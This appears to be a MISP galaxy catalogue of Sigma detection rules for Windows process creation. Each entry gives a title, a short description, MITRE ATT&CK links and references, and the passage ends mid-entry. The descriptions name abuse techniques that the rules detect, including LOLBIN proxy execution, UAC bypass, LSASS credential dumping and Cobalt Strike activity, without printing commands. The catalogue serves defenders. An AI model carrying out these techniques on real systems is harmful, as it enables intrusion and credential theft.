https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devinit/
https://twitter.com/mrd0x/status/1460815932402679809

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml

Read Contents From Stdin Via Cmd.EXE

Detect the use of "<" to read and potentially execute a file via cmd.exe

The tag is: *misp-galaxy:sigma-rules="Read Contents From Stdin Via Cmd.EXE"*

View relationships graph

Read Contents From Stdin Via Cmd.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 15252. Table References

Links
https://web.archive.org/web/20220306121156/https://www.x86matthew.com/view_post?id=ntdll_pipe
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_stdin_redirect.yml

Potential Password Spraying Attempt Using Dsacls.EXE

Detects possible password spraying attempts using Dsacls

The tag is: *misp-galaxy:sigma-rules="Potential Password Spraying Attempt Using Dsacls.EXE"*

View relationships graph

Potential Password Spraying Attempt Using Dsacls.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15253. Table References

Links
https://ss64.com/nt/dsacls.html
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml

Use of Pcalua For Execution

Detects execition of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting.

The tag is: *misp-galaxy:sigma-rules="Use of Pcalua For Execution"*

View relationships graph

Use of Pcalua For Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15254. Table References

Links
https://pentestlab.blog/2020/07/06/indirect-command-execution/
https://lolbas-project.github.io/lolbas/Binaries/Pcalua/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml

Potential CobaltStrike Process Patterns

Detects potential process patterns related to Cobalt Strike beacon activity

The tag is: *misp-galaxy:sigma-rules="Potential CobaltStrike Process Patterns"*

View relationships graph

Potential CobaltStrike Process Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15255. Table References

Links
https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_process_patterns.yml

Suspicious Use of PsLogList

Detects usage of the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery or delete events logs

The tag is: *misp-galaxy:sigma-rules="Suspicious Use of PsLogList"*

View relationships graph

Suspicious Use of PsLogList has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

Table 15256. Table References

Links
https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos
https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/
https://twitter.com/EricaZelic/status/1614075109827874817
https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psloglist.yml

Suspicious DLL Loaded via CertOC.EXE

Detects when a user installs certificates by using CertOC.exe to load the target DLL file.

The tag is: *misp-galaxy:sigma-rules="Suspicious DLL Loaded via CertOC.EXE"*

View relationships graph

Suspicious DLL Loaded via CertOC.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15257. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Certoc/
https://twitter.com/sblmsrsn/status/1445758411803480072?s=20

https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_load_dll_susp_locations.yml

Add Insecure Download Source To Winget

Detects usage of winget to add a new insecure (http) download source. Winget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos)

The tag is: *misp-galaxy:sigma-rules="Add Insecure Download Source To Winget"*

View relationships graph

Add Insecure Download Source To Winget has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15258. Table References

Links
https://learn.microsoft.com/en-us/windows/package-manager/winget/source
https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_insecure_custom_source.yml

Use Of The SFTP.EXE Binary As A LOLBIN

Detects the usage of the "sftp.exe" binary as a LOLBIN by abusing the "-D" flag

The tag is: *misp-galaxy:sigma-rules="Use Of The SFTP.EXE Binary As A LOLBIN"*

View relationships graph

Use Of The SFTP.EXE Binary As A LOLBIN has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15259. Table References

Links
https://github.com/LOLBAS-Project/LOLBAS/pull/264

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml

Renamed Mavinject.EXE Execution

Detects the execution of a renamed version of the "Mavinject" process. Which can be abused to perform process injection using the "/INJECTRUNNING" flag

The tag is: *misp-galaxy:sigma-rules="Renamed Mavinject.EXE Execution"*

View relationships graph

Renamed Mavinject.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Mavinject - T1218.013" with estimative-language:likelihood-probability="almost-certain"

Table 15260. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md
https://twitter.com/Hexacorn/status/776122138063409152
https://github.com/SigmaHQ/sigma/issues/3742
https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection
https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e
https://twitter.com/gN3mes1s/status/941315826107510784
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md
https://reaqta.com/2017/12/mavinject-microsoft-injector/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_mavinject.yml

Remote Access Tool - Team Viewer Session Started On Windows Host

Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - Team Viewer Session Started On Windows Host"*

View relationships graph

Remote Access Tool - Team Viewer Session Started On Windows Host has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 15261. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_teamviewer_incoming_connection.yml

Renamed CreateDump Utility Execution

Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory

The tag is: *misp-galaxy:sigma-rules="Renamed CreateDump Utility Execution"*

View relationships graph

Renamed CreateDump Utility Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15262. Table References

Links
https://twitter.com/bopin2020/status/1366400799199272960
https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_createdump.yml

Potential Credential Dumping Via LSASS Process Clone

Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity

The tag is: *misp-galaxy:sigma-rules="Potential Credential Dumping Via LSASS Process Clone"*

View relationships graph

Potential Credential Dumping Via LSASS Process Clone has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15263. Table References

Links
https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/
https://twitter.com/Hexacorn/status/1420053502554951689
https://twitter.com/SBousseaden/status/1464566846594691073?s=20
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lsass_process_clone.yml

CMSTP Execution Process Creation

Detects various indicators of Microsoft Connection Manager Profile Installer execution

The tag is: *misp-galaxy:sigma-rules="CMSTP Execution Process Creation"*

View relationships graph

CMSTP Execution Process Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"

Table 15264. Table References

Links
https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml

Suspicious Recursive Takeown

Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders

The tag is: *misp-galaxy:sigma-rules="Suspicious Recursive Takeown"*

View relationships graph

Suspicious Recursive Takeown has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"

Table 15265. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md#atomic-test-1---take-ownership-using-takeown-utility
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/takeown
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_takeown_recursive_own.yml

Process Execution From A Potentially Suspicious Folder

Detects a potentially suspicious execution from an uncommon folder.

The tag is: *misp-galaxy:sigma-rules="Process Execution From A Potentially Suspicious Folder"*

View relationships graph

Process Execution From A Potentially Suspicious Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15266. Table References

Links
https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/
https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml

Execution Of Non-Existing File

Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)

The tag is: *misp-galaxy:sigma-rules="Execution Of Non-Existing File"*

Table 15267. Table References

Links
https://pentestlaboratories.com/2021/12/08/process-ghosting/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_image_missing.yml

PowerShell Base64 Encoded WMI Classes

Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc.

The tag is: *misp-galaxy:sigma-rules="PowerShell Base64 Encoded WMI Classes"*

View relationships graph

PowerShell Base64 Encoded WMI Classes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15268. Table References

Links
https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_wmi_classes.yml

PUA - NirCmd Execution

Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity

The tag is: *misp-galaxy:sigma-rules="PUA - NirCmd Execution"*

View relationships graph

PUA - NirCmd Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 15269. Table References

Links

https://www.nirsoft.net/utils/nircmd2.html#using
https://www.nirsoft.net/utils/nircmd.html
https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nircmd.yml

Potentially Suspicious Call To Win32_NTEventlogFile Class

Detects usage of the WMI class "Win32_NTEventlogFile" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Call To Win32_NTEventlogFile Class"*

Table 15270. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa394225(v=vs.85)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nteventlogfile_usage.yml

Operator Bloopers Cobalt Strike Modules

Detects Cobalt Strike module/commands accidentally entered in CMD shell

The tag is: *misp-galaxy:sigma-rules="Operator Bloopers Cobalt Strike Modules"*

View relationships graph

Operator Bloopers Cobalt Strike Modules has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 15271. Table References

Links
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf
https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_bloopers_modules.yml

Wab/Wabmig Unusual Parent Or Child Processes

Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity

The tag is: *misp-galaxy:sigma-rules="Wab/Wabmig Unusual Parent Or Child Processes"*

Table 15272. Table References

Links
https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/
https://thedfirreport.com/2022/09/26/bumblebee-round-two/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml

UAC Bypass Using Windows Media Player - Process

Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using Windows Media Player - Process"*

View relationships graph

UAC Bypass Using Windows Media Player - Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15273. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml

Bypass UAC via CMSTP

Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files

The tag is: *misp-galaxy:sigma-rules="Bypass UAC via CMSTP"*

View relationships graph

Bypass UAC via CMSTP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"

Table 15274. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.003/T1218.003.md
https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html
https://lolbas-project.github.io/lolbas/Binaries/Cmstp/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml

Dllhost.EXE Execution Anomaly

Detects a "dllhost" process spawning with no commandline arguments which is very rare to happen and could indicate process injection activity or malware mimicking similar system processes.

The tag is: *misp-galaxy:sigma-rules="Dllhost.EXE Execution Anomaly"*

View relationships graph

Dllhost.EXE Execution Anomaly has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 15275. Table References

Links
https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08
https://redcanary.com/blog/child-processes/
https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dllhost_no_cli_execution.yml

Suspicious Command Patterns In Scheduled Task Creation

Detects scheduled task creation using "schtasks" that contain potentially suspicious or uncommon commands

The tag is: *misp-galaxy:sigma-rules="Suspicious Command Patterns In Scheduled Task Creation"*

View relationships graph

Suspicious Command Patterns In Scheduled Task Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15276. Table References

Links
https://twitter.com/RedDrip7/status/1506480588827467785
https://app.any.run/tasks/512c1352-6380-4436-b27d-bb62f0c020d6/
https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/devil-bait/NCSC-MAR-Devil-Bait.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_susp_pattern.yml

Execute Files with Msdeploy.exe

Detects file execution using the msdeploy.exe lolbin

The tag is: *misp-galaxy:sigma-rules="Execute Files with Msdeploy.exe"*

View relationships graph

Execute Files with Msdeploy.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15277. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/
https://twitter.com/pabraeken/status/995837734379032576
https://twitter.com/pabraeken/status/999090532839313408
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdeploy.yml

System Information Discovery via Registry Queries

Detects attempts to query system information directly from the Windows Registry.

The tag is: *misp-galaxy:sigma-rules="System Information Discovery via Registry Queries"*

View relationships graph

System Information Discovery via Registry Queries has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 15278. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/75fa21076dcefa348a7521403cdd6bfc4e88623c/atomics/T1124/T1124.md
https://github.com/redcanaryco/atomic-red-team/blob/75fa21076dcefa348a7521403cdd6bfc4e88623c/atomics/T1082/T1082.md
https://cert.gov.ua/article/6277849
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_discovery_via_reg_queries.yml

Recon Command Output Piped To Findstr.EXE

Detects the execution of a potential recon command where the results are piped to "findstr". This is meant to trigger on inline calls of "cmd.exe" via the "/c" or "/k" for example. Attackers often time use this technique to extract specific information they require in their reconnaissance phase.

The tag is: *misp-galaxy:sigma-rules="Recon Command Output Piped To Findstr.EXE"*

View relationships graph

Recon Command Output Piped To Findstr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 15279. Table References

Links
https://www.hhs.gov/sites/default/files/manage-engine-vulnerability-sector-alert-tlpclear.pdf
https://github.com/redcanaryco/atomic-red-team/blob/02cb591f75064ffe1e0df9ac3ed5972a2e491c97/atomics/T1057/T1057.md#atomic-test-6---discover-specific-process---tasklist
https://www.trendmicro.com/en_us/research/22/d/spring4shell-exploited-to-deploy-cryptocurrency-miners.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_pipe_output.yml

Suspicious Child Process Of SQL Server

Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.

The tag is: *misp-galaxy:sigma-rules="Suspicious Child Process Of SQL Server"*

View relationships graph

Suspicious Child Process Of SQL Server has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 15280. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_susp_child_process.yml

Potential Suspicious Mofcomp Execution

Detects execution of the "mofcomp" utility as a child of a suspicious shell or script running utility or by having a suspicious path in the commandline. The "mofcomp" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. Attackers abuse this utility to install malicious MOF scripts

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious Mofcomp Execution"*

View relationships graph

Potential Suspicious Mofcomp Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15281. Table References

Links
https://github.com/The-DFIR-Report/Sigma-Rules/blob/75260568a7ffe61b2458ca05f6f25914efb44337/win_mofcomp_execution.yml
https://learn.microsoft.com/en-us/windows/win32/wmisdk/mofcomp
https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mofcomp_execution.yml

UAC Bypass Using IEInstal - Process

Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using IEInstal - Process"*

View relationships graph

UAC Bypass Using IEInstal - Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15282. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml

Uncommon Child Process Of Appvlp.EXE

Detects uncommon child processes of Appvlp.EXE Appvlp or the Application Virtualization Utility is included with Microsoft Office. Attackers are able to abuse "AppVLP" to execute shell commands. Normally, this binary is used for Application Virtualization, but it can also be abused to circumvent the ASR file path rule folder or to mark a file as a system file.

The tag is: *misp-galaxy:sigma-rules="Uncommon Child Process Of Appvlp.EXE"*

View relationships graph

Uncommon Child Process Of Appvlp.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15283. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_appvlp_uncommon_child_process.yml

Suspicious Microsoft Office Child Process

Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.)

The tag is: *misp-galaxy:sigma-rules="Suspicious Microsoft Office Child Process"*

View relationships graph

Suspicious Microsoft Office Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 15284. Table References

Links
https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi(aka_REvil)_Ransomware.yaml
https://www.vmray.com/analyses/2d2fa29185ad/report/overview.html
https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html
https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set
https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e
https://github.com/splunk/security_content/blob/300af51b88ad5d5b27ce4f5f54e4d6e6a3a2c06d/detections/endpoint/office_spawning_control.yml
https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A
https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/
https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100
https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/
https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_susp_child_processes.yml

Windows MSIX Package Support Framework AI_STUBS Execution

Detects execution of Advanced Installer MSIX Package Support Framework (PSF) components, specifically AI_STUBS executables with original filename 'popupwrapper.exe'. This activity may indicate malicious MSIX packages build with Advanced Installer leveraging the Package Support Framework to bypass application control restrictions.

The tag is: *misp-galaxy:sigma-rules="Windows MSIX Package Support Framework AI_STUBS Execution"*

View relationships graph

Windows MSIX Package Support Framework AI_STUBS Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 15285. Table References

Links
https://www.splunk.com/en_us/blog/security/msix-weaponization-threat-detection-splunk.html
https://redcanary.com/threat-detection-report/techniques/installer-packages/
https://redcanary.com/blog/threat-intelligence/msix-installers/
https://learn.microsoft.com/en-us/windows/msix/package/package-support-framework
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msix_ai_stub_execution.yml

Cloudflared Tunnel Connections Cleanup

Detects execution of the "cloudflared" tool with the tunnel "cleanup" flag in order to cleanup tunnel connections.

The tag is: *misp-galaxy:sigma-rules="Cloudflared Tunnel Connections Cleanup"*

View relationships graph

Cloudflared Tunnel Connections Cleanup has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-

language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 15286. Table References

Links
https://github.com/cloudflare/cloudflared
https://developers.cloudflare.com/cloudflare-one/connections/connect-apps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cloudflared_tunnel_cleanup.yml

Arbitrary File Download Via IMEWDBLD.EXE

Detects usage of "IMEWDBLD.exe" to download arbitrary files

The tag is: *misp-galaxy:sigma-rules="Arbitrary File Download Via IMEWDBLD.EXE"*

View relationships graph

Arbitrary File Download Via IMEWDBLD.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15287. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download
https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imewbdld_download.yml

Potential Encoded PowerShell Patterns In CommandLine

Detects specific combinations of encoding methods in PowerShell via the commandline

The tag is: *misp-galaxy:sigma-rules="Potential Encoded PowerShell Patterns In CommandLine"*

View relationships graph

Potential Encoded PowerShell Patterns In CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15288. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_encoding_patterns.yml

Suspicious Msbuild Execution By Uncommon Parent Process

Detects suspicious execution of 'Msbuild.exe' by a uncommon parent process

